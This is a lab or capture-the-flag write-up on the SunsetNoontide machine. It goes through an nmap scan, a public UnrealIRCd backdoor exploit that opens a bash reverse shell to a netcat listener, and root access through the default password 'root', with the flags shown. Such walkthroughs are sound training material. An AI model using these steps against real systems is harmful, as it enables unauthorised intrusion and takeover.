Offensive Security – SunsetNoontide Alberto Gómez

First, I did a *nmap* scan. As only one port seemed open, I launched a more exhaustive scan, and checked the versions of the services:

```
-Pn 192.168.51.120
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-07 12:10 EDT
Nmap scan report for 192.168.51.120
Host is up (0.043s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE
6667/tcp open irc
Nmap done: 1 IP address (1 host up) scanned in 14.05 seconds
[kali⊕ kali)-[~]
$\frac{\sudo}{\sudo} \text{nmap} -Pn -p- -T5 192.168.51.120
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-07 12:11 EDT
                              -T5 192.168.51.120
Host is up (0.042s latency).
Not shown: 65532 closed tcp ports (reset)
            STATE SERVICE
6667/tcp open irc
6697/tcp open ircs-u
8067/tcp open infi-async
Nmap done: 1 IP address (1 host up) scanned in 68.63 seconds
starting Nmap 7.93 (https://nmap.org) at 2023-05-07 12:14 EDT
Nmap scan report for 192.168.51.120
Host is up (0.046s latency).
PORT
           STATE SERVICE VERSION
6667/tcp open irc UnrealIRCd
6697/tcp open irc UnrealIRCd
8067/tcp open irc UnrealIRCd
Service Info: Host: irc.foonet.com
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.41 seconds
```

Looking up *UnrealIRC* vulnerabilities, I found a "Backdoor Command Execution" vulnerability. I tried using this Python script from Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor (github.com).

On the script, we have to change two lines of code to specify our listening address and port:

```
# Sets the local ip and port (address and port to listen on)
local_ip = '192.168.49.51' # CHANGE THIS
local_port = '8888' # CHANGE THIS
```

Then, execute the script with the type of payload we want, target IP and port:

```
(kali@ kali)-[~] c/Unreal.py -payload bash 192.168.51.120 8067
Exploit sent successfully!
```

I tried executing it against the tree open ports and only worked on 8067.

Got the shell:

```
(kali@ kali)-[~]
$ nc -lvnp 8888
listening on [any] 8888 ...
connect to [192.168.49.51] from (UNKNOWN) [192.168.51.120] 43954
bash: cannot set terminal process group (385): Inappropriate ioctl for device
bash: no job control in this shell
server@noontide:~/irc/Unreal3.2$
```

Found the first flag:

```
server@noontide:~/irc/Unreal3.2$ cd /home/server
cd /home/server
server@noontide:~$ cat local.txt
cat local.txt
5b63dd6beab9d1492585158c4867baab
server@noontide:~$
```

Looking for privilege escalation vectors, I found two exploits for the kernel. Those are the "Linux Kernel 4.10 < 5.1.17 - 'PTRACE_TRACEME' pkexec Local Privilege Escalation" and the "CVE-2021-3156". However, the first one requires the 'pkexec' binary, and the second one takes advantage of 'sudo'. Both binaries are not present on this machine. The creator prevented us from using kernel exploits.

After lots of research and not realizing the obvious easiest solution, the password for *root* user was also 'root'. With 'su' command we get a shell and find the final flag:

```
server@noontide:~$ su root
Password:
root@noontide:/home/server# ls /root
proof.txt
root@noontide:/home/server# cat /root/proof.txt
78f9ae192e59ae17a43d5195f745fe7e
root@noontide:/home/server#
```